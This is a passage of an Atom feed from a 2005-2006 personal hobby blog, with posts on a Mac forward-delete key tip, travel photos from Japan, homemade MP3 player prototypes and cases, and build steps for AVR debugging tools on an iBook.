type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/113815621771535211/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=113815621771535211' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/113815621771535211'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/113815621771535211'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2006/01/etoire-in-snow.html' title='Etoire in Snow'/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-113713266502539066</id><published>2006-01-13T06:11:00.000Z</published><updated>2006-01-13T06:11:05.030Z</updated><title type='text'>Forward Delete Key on Macs</title><content type='html'>I just found the following hint on macosxhints.com &lt;br /&gt;http://www.macosxhints.com/article.php?story=20050525040921189&lt;br /&gt;Blast that forward-delete key (just below the Help key on a standard Mac keyboard)! It just keeps inputting a '~' when pressed, instead of deleting the next character. Luckily, there is an easy solution. In clean OS X apps, including Terminal, Control-Option-D does what we want the forward-delete key to do. &lt;br /&gt;&lt;br /&gt;So go to Terminal's Terminal menu, pick Window Settings, and then choose "Keyboard" in the pop-up menu. Double-click on the 'del (forward delete)' key, and in the sheet that pops open, activate the input box just below "Action." Type Control-Option-D, and you should see '04' in the box. Click OK, close the Terminal Inpsector window, and you should now have a working forward-delete key. Yay!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-113713266502539066?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/113713266502539066/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=113713266502539066' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/113713266502539066'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/113713266502539066'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2006/01/forward-delete-key-on-macs.html' title='Forward Delete Key on Macs'/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-113712884983202446</id><published>2006-01-13T05:07:00.000Z</published><updated>2006-01-13T05:07:29.853Z</updated><title type='text'>Lightbox.js</title><content type='html'>just found this little script http://www.huddletogether.com/projects/lightbox/. &lt;br /&gt;Very nice. I have added it to the picture pages for the mp3 player at http://butterflymp3.sf.net/pic.html &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-113712884983202446?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/113712884983202446/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=113712884983202446' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/113712884983202446'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/113712884983202446'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2006/01/lightboxjs.html' title='Lightbox.js'/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-113695787122213412</id><published>2006-01-11T05:37:00.000Z</published><updated>2006-01-11T06:42:23.766Z</updated><title type='text'>Dash blog test</title><content type='html'>Just thought I'd test out this widget (dash blog) for blogging from the dashboard. seems okay but spell checking would be nice.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-113695787122213412?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/113695787122213412/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=113695787122213412' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/113695787122213412'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/113695787122213412'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2006/01/dash-blog-test.html' title='Dash blog test'/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-113595502430278525</id><published>2005-12-30T15:03:00.000Z</published><updated>2005-12-30T15:03:44.463Z</updated><title type='text'>Winter is here!</title><content type='html'>&lt;style type="text/css"&gt;.flickr-photo { border: solid 1px #000000; }.flickr-frame { float: left; text-align: center; margin-right: 15px; margin-bottom: 15px; }.flickr-caption { font-size: 0.8em; margin-top: 0px; }&lt;/style&gt;&lt;div class="flickr-frame"&gt;	&lt;a href="http://www.flickr.com/photos/nicklott/79231652/" title="photo sharing"&gt;&lt;img src="http://static.flickr.com/38/79231652_90e4934684_t.jpg" class="flickr-photo" alt="Nikko - 33" /&gt;&lt;/a&gt;&lt;br /&gt;	&lt;span class="flickr-caption"&gt;		&lt;a href="http://www.flickr.com/photos/nicklott/79231652/"&gt;Nikko - 33&lt;/a&gt;,&lt;br /&gt; originally uploaded by &lt;a href="http://www.flickr.com/people/nicklott/"&gt;Brokentoaster&lt;/a&gt;.	&lt;/span&gt;&lt;/div&gt;Well winter is definitely here in Japan. I've just posted some of my photos from my visit Nikko. The forecast said a high of -4 but I measured at least +1. I guess you just can't trust the weather. Anyway a regular winter wonderland complete with frozen waterfalls. Unfortuantly I didn't see any monkeys :( .&lt;br clear="all" /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-113595502430278525?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/113595502430278525/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=113595502430278525' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/113595502430278525'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/113595502430278525'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2005/12/winter-is-here.html' title='Winter is here!'/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-113089704765981589</id><published>2005-11-02T02:04:00.000Z</published><updated>2006-01-13T06:22:12.336Z</updated><title type='text'>Biggest Buddha</title><content type='html'>&lt;style type="text/css"&gt;.flickr-photo { border: solid 1px #000000; }.flickr-frame { float: left; text-align: center; margin-right: 15px; margin-bottom: 15px; }.flickr-caption { font-size: 0.8em; margin-top: 0px; }&lt;/style&gt;&lt;div class="flickr-frame"&gt; &lt;a href="http://www.flickr.com/photos/71987843@N00/58354624/" title="photo sharing"&gt;&lt;img src="http://static.flickr.com/30/58354624_e54136f462_t.jpg" class="flickr-photo" alt="Biggest image of Buddha" /&gt;&lt;/a&gt;&lt;br /&gt; &lt;span class="flickr-caption"&gt;  &lt;a href="http://www.flickr.com/photos/71987843@N00/58354624/"&gt;Biggest image of Buddha&lt;/a&gt;,&lt;br /&gt; originally uploaded by &lt;a href="http://www.flickr.com/people/71987843@N00/"&gt;Brokentoaster&lt;/a&gt;. &lt;/span&gt;&lt;/div&gt;This statue of Buddha at the Todaiji Temple in Nara has to be the most amazing thing I've seen. It's 30 meters high and was originally built over a 1000 years ago. The Temple itself is the largest wooden structure in the world, and its built and designed earthquake safe! Cool.&lt;br clear="all" /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-113089704765981589?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/113089704765981589/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=113089704765981589' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/113089704765981589'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/113089704765981589'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2005/11/biggest-buddha.html' title='Biggest Buddha'/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-112891476064792969</id><published>2005-10-10T04:26:00.000+01:00</published><updated>2005-10-10T04:26:00.670+01:00</updated><title type='text'>crazy akihabara</title><content type='html'>&lt;style type="text/css"&gt;.flickr-photo { border: solid 1px #000000; }.flickr-frame { float: left; text-align: center; margin-right: 15px; margin-bottom: 15px; }.flickr-caption { font-size: 0.8em; margin-top: 0px; }&lt;/style&gt;&lt;div class="flickr-frame"&gt;	&lt;a href="http://www.flickr.com/photos/71987843@N00/51040072/" title="photo sharing"&gt;&lt;img src="http://static.flickr.com/25/51040072_1cd3c8733c_t.jpg" class="flickr-photo" alt="crazy akihabara" /&gt;&lt;/a&gt;&lt;br /&gt;	&lt;span class="flickr-caption"&gt;		&lt;a href="http://www.flickr.com/photos/71987843@N00/51040072/"&gt;crazy akihabara&lt;/a&gt;,&lt;br /&gt; originally uploaded by &lt;a href="http://www.flickr.com/people/71987843@N00/"&gt;Brokentoaster&lt;/a&gt;.	&lt;/span&gt;&lt;/div&gt;I have to say I'm going to love living only a short train ride away from Akihabara. Where they sell electronics and soldering irons on the street and giant robots roam the roads :) well almost. Still very cool.&lt;br clear="all" /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-112891476064792969?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/112891476064792969/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=112891476064792969' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/112891476064792969'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/112891476064792969'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2005/10/crazy-akihabara.html' title='crazy akihabara'/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-112825490358762411</id><published>2005-10-02T13:08:00.000+01:00</published><updated>2005-10-02T13:08:23.623+01:00</updated><title type='text'>Beer Vending Macine</title><content type='html'>&lt;style type="text/css"&gt;.flickr-photo { border: solid 1px #000000; }.flickr-frame { float: left; text-align: center; margin-right: 15px; margin-bottom: 15px; }.flickr-caption { font-size: 0.8em; margin-top: 0px; }&lt;/style&gt;&lt;div class="flickr-frame"&gt;	&lt;a href="http://www.flickr.com/photos/71987843@N00/48575823/" title="photo sharing"&gt;&lt;img src="http://static.flickr.com/26/48575823_097517d0ec_t.jpg" class="flickr-photo" alt="Beer Vending Macine" /&gt;&lt;/a&gt;&lt;br /&gt;	&lt;span class="flickr-caption"&gt;		&lt;a href="http://www.flickr.com/photos/71987843@N00/48575823/"&gt;Beer Vending Macine&lt;/a&gt;,&lt;br /&gt; originally uploaded by &lt;a href="http://www.flickr.com/people/71987843@N00/"&gt;Brokentoaster&lt;/a&gt;.	&lt;/span&gt;&lt;/div&gt;Well enough said really.... I do like japan :)&lt;br clear="all" /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-112825490358762411?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/112825490358762411/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=112825490358762411' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/112825490358762411'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/112825490358762411'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2005/10/beer-vending-macine.html' title='Beer Vending Macine'/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-112480564647534806</id><published>2005-08-23T15:00:00.000+01:00</published><updated>2005-08-23T15:03:47.173+01:00</updated><title type='text'>Hard Drive Mp3 Player Prototype</title><content type='html'>&lt;style type="text/css"&gt;.flickr-photo { border: solid 1px #000000; }.flickr-frame { float: left; text-align: center; margin-right: 15px; margin-bottom: 15px; }.flickr-caption { font-size: 0.8em; margin-top: 0px; }&lt;/style&gt;&lt;div class="flickr-frame"&gt; &lt;a href="http://www.flickr.com/photos/71987843@N00/36507193/" title="photo sharing"&gt;&lt;img src="http://photos23.flickr.com/36507193_ecb1442965_t.jpg" class="flickr-photo" alt="ATA_MP3_PLAYER" /&gt;&lt;/a&gt;&lt;br /&gt; &lt;span class="flickr-caption"&gt;  &lt;a href="http://www.flickr.com/photos/71987843@N00/36507193/"&gt;ATA_MP3_PLAYER&lt;/a&gt;,&lt;br /&gt; originally uploaded by &lt;a href="http://www.flickr.com/people/71987843@N00/"&gt;Brokentoaster&lt;/a&gt;. &lt;/span&gt;&lt;/div&gt;Thought I'd make the most of the soldering tools I have while I've still got 'em. Took me about 2-3 Hrs to assemble but I now have a HDD based Mp3 Player to debug. Looks like it might need a couple of minor mods to get going but shouldn't take too much more effort on the HW side.&lt;br /&gt;&lt;br /&gt; Now to write that FAT32 ATA library I've been putting off for the last 6 months :)&lt;br clear="all" /&gt;&lt;br /&gt;&lt;br /&gt;Click the photo for more images.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-112480564647534806?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/112480564647534806/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=112480564647534806' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/112480564647534806'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/112480564647534806'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2005/08/hard-drive-mp3-player-prototype.html' title='Hard Drive Mp3 Player Prototype'/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-112381353426189485</id><published>2005-08-12T03:25:00.000+01:00</published><updated>2005-08-12T08:12:24.060+01:00</updated><title type='text'>mk3 Prototype case completed!!!</title><content type='html'>&lt;style type="text/css"&gt;.flickr-photo { border: solid 1px #000000; }.flickr-frame { float: left; text-align: center; margin-right: 15px; margin-bottom: 15px; }.flickr-caption { font-size: 0.8em; margin-top: 0px; }&lt;/style&gt;&lt;div class="flickr-frame"&gt; &lt;a href="http://www.flickr.com/photos/71987843@N00/33296292/" title="photo sharing"&gt;&lt;img src="http://photos22.flickr.com/33296292_998b8af9a7_t.jpg" class="flickr-photo" alt="DSC01376.JPG" /&gt;&lt;/a&gt;&lt;br /&gt; &lt;span class="flickr-caption"&gt;  &lt;a href="http://www.flickr.com/photos/71987843@N00/33296292/"&gt;DSC01376.JPG&lt;/a&gt;,&lt;br /&gt; originally uploaded by &lt;a href="http://www.flickr.com/people/71987843@N00/"&gt;Brokentoaster&lt;/a&gt;. &lt;/span&gt;&lt;/div&gt;Manu has come through with the goods yet again with this primo case for the Mk3 prototype. This one is smaller lighter and faster than the last. It's all aluminium construction makes it substantially lighter than the solid steel case of the Mk2.&lt;br clear="all" /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-112381353426189485?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/112381353426189485/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=112381353426189485' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/112381353426189485'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/112381353426189485'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2005/08/mk3-prototype-case-completed.html' title='mk3 Prototype case completed!!!'/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-112381246607643805</id><published>2005-08-12T03:07:00.000+01:00</published><updated>2005-08-12T08:05:59.750+01:00</updated><title type='text'>New Hard Drive Mp3 Player PCBs have Arrived</title><content type='html'>&lt;style type="text/css"&gt;.flickr-photo { border: solid 1px #000000; }.flickr-frame { float: left; text-align: center; margin-right: 15px; margin-bottom: 15px; }.flickr-caption { font-size: 0.8em; margin-top: 0px; }&lt;/style&gt;&lt;div class="flickr-frame"&gt; &lt;a href="http://www.flickr.com/photos/71987843@N00/33289095/" title="photo sharing"&gt;&lt;img src="http://photos22.flickr.com/33289095_a539a79de0_t.jpg" class="flickr-photo" alt="butterflymp3-ata PCB top" /&gt;&lt;/a&gt;&lt;br /&gt; &lt;span class="flickr-caption"&gt;  &lt;a href="http://www.flickr.com/photos/71987843@N00/33289095/"&gt;butterflymp3-ata PCB top&lt;/a&gt;,&lt;br /&gt; originally uploaded by &lt;a href="http://www.flickr.com/people/71987843@N00/"&gt;Brokentoaster&lt;/a&gt;. &lt;/span&gt;&lt;/div&gt;Alright! My new PCBs for the HD version of the butterflymp3 have arrived from www.custompcb.com / www.silvercircuits.com. They look pretty good. I had to go without a solder mask or silkscreen to cut costs. Had a small mixup where I used dichlormethane rather than isopropanol to clean the board and accidentally melted the paint off my desk and onto one side of the PCB. A whole lot more dichlormethane later and everything is good as new. :)&lt;br clear="all" /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-112381246607643805?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/112381246607643805/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=112381246607643805' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/112381246607643805'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/112381246607643805'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2005/08/new-hard-drive-mp3-player-pcbs-have.html' title='New Hard Drive Mp3 Player PCBs have Arrived'/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-112367721430565327</id><published>2005-08-10T13:22:00.000+01:00</published><updated>2005-08-10T13:36:29.860+01:00</updated><title type='text'></title><content type='html'>Finally managed to get avarice installed on the new iBook. Just so I can remember for next time this is what I did. ( as root user)&lt;br /&gt;&lt;br /&gt; - Install libbfd&lt;br /&gt;cd binutils-2.16.1&lt;br /&gt;cd bfd/&lt;br /&gt;./configure --target=avr --disable-nls --enable-install-libbfd&lt;br /&gt;make&lt;br /&gt;make install&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;- install Libiberty&lt;br /&gt;cd binutils-2.16.1&lt;br /&gt;cd libiberty/&lt;br /&gt;./configure --target=avr --disable-nls --enable-install-libiberty&lt;br /&gt;make&lt;br /&gt;make install&lt;br /&gt;&lt;br /&gt;- install avarice&lt;br /&gt;cd avarice-2.3&lt;br /&gt;LDFLAGS="-L/usr/local/powerpc-apple-darwin8.2.0/avr/lib -lbfd" CPPFLAGS="-I/usr/local/powerpc-apple-darwin8.2.0/avr/include" ./configure&lt;br /&gt; make&lt;br /&gt; make install&lt;br /&gt;&lt;br /&gt;( all other AVR tools handled by Fink)&lt;br /&gt;(also applied butterfly corrections patch to avrdude 5)&lt;br /&gt;&lt;br /&gt;Thanks Frodi Hammer http://www.mip.sdu.dk/~frodi/mac.html&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-112367721430565327?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/112367721430565327/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=112367721430565327' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/112367721430565327'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/112367721430565327'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2005/08/finally-managed-to-get-avarice.html' title=''/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-112353639733603485</id><published>2005-08-08T22:26:00.000+01:00</published><updated>2005-08-08T22:26:37.340+01:00</updated><title type='text'>Finished USB Fluro </title><content type='html'>&lt;style type="text/css"&gt;.flickr-photo { border: solid 1px #000000; }.flickr-frame { float: left; text-align: center; margin-right: 15px; margin-bottom: 15px; }.flickr-caption { font-size: 0.8em; margin-top: 0px; }&lt;/style&gt;&lt;div class="flickr-frame"&gt;	&lt;a href="http://www.flickr.com/photos/71987843@N00/32393925/" title="photo sharing"&gt;&lt;img src="http://photos22.flickr.com/32393925_6099c7ad5e_t.jpg" class="flickr-photo" alt="DSC01348" /&gt;&lt;/a&gt;&lt;br /&gt;	&lt;span class="flickr-caption"&gt;		&lt;a href="http://www.flickr.com/photos/71987843@N00/32393925/"&gt;DSC01348&lt;/a&gt;,&lt;br /&gt; originally uploaded by &lt;a href="http://www.flickr.com/people/71987843@N00/"&gt;Brokentoaster&lt;/a&gt;.	&lt;/span&gt;&lt;/div&gt;Well this weekend I managed to tidy up the fluroecent lamp into a more respectable form.&lt;br clear="all" /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-112353639733603485?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/112353639733603485/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=112353639733603485' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/112353639733603485'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/112353639733603485'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2005/08/finished-usb-fluro.html' title='Finished USB Fluro '/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-112311191692352075</id><published>2005-08-04T00:31:00.000+01:00</published><updated>2005-08-04T00:31:56.933+01:00</updated><title type='text'>New prototype mp3 player?</title><content type='html'>&lt;style type="text/css"&gt;.flickr-photo { border: solid 1px #000000; }.flickr-frame { float: left; text-align: center; margin-right: 15px; margin-bottom: 15px; }.flickr-caption { font-size: 0.8em; margin-top: 0px; }&lt;/style&gt;&lt;div class="flickr-frame"&gt;	&lt;a href="http://www.flickr.com/photos/71987843@N00/31033121/" title="photo sharing"&gt;&lt;img src="http://photos22.flickr.com/31033121_0f349dc64c_t.jpg" class="flickr-photo" alt="DSC01346" /&gt;&lt;/a&gt;&lt;br /&gt;	&lt;span class="flickr-caption"&gt;		&lt;a href="http://www.flickr.com/photos/71987843@N00/31033121/"&gt;DSC01346&lt;/a&gt;,&lt;br /&gt; originally uploaded by &lt;a href="http://www.flickr.com/people/71987843@N00/"&gt;Brokentoaster&lt;/a&gt;.	&lt;/span&gt;&lt;/div&gt;Got Manu down in the machine shop to come up with a new case design for the mp3 player and this is the result. Think it might need a couple of refinements before we go to production with this one.&lt;br clear="all" /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/14888785-112311191692352075?l=stuffthingsandjunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stuffthingsandjunk.blogspot.com/feeds/112311191692352075/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=14888785&amp;postID=112311191692352075' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/112311191692352075'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/14888785/posts/default/112311191692352075'/><link rel='alternate' type='text/html' href='http://stuffthingsandjunk.blogspot.com/2005/08/new-prototype-mp3-player.html' title='New prototype mp3 player?'/><author><name>Nick</name><uri>http://www.blogger.com/profile/18246605560580979258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://brokentoaster.com/p45/images/HeadXray_clr_Medium.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-14888785.post-112254845637640973</id><published>2005-07-28T12:00:00.000+01:00</published><updated>2005-07-28T12:00:56.380+01:00</updated><title type='text'>USB powered mini Fluro lamp</title><content type='html'>&lt;style type="text/css"&gt;.flickr-photo { border: solid 1px #000000; }.flickr-frame { float: left; text-align: center; margin-right: 15px; margin-bottom: 15px; }.flickr-caption { font-size: 0.8em; margin-top: 0px; }&lt;/style&gt;&lt;div class="flickr-frame"&gt;	&lt;a href="http://www.flickr.com/photos/71987843@N00/28897458/" title="photo sharing"&gt;&lt;img src="http://photos23.flickr.com/28897458_1f1d30d918_t.jpg" class="flickr-photo" alt="DSC01319" /&gt;&lt;/a&gt;&lt;br /&gt;	&lt;span class="flickr-caption"&gt;		&lt;a 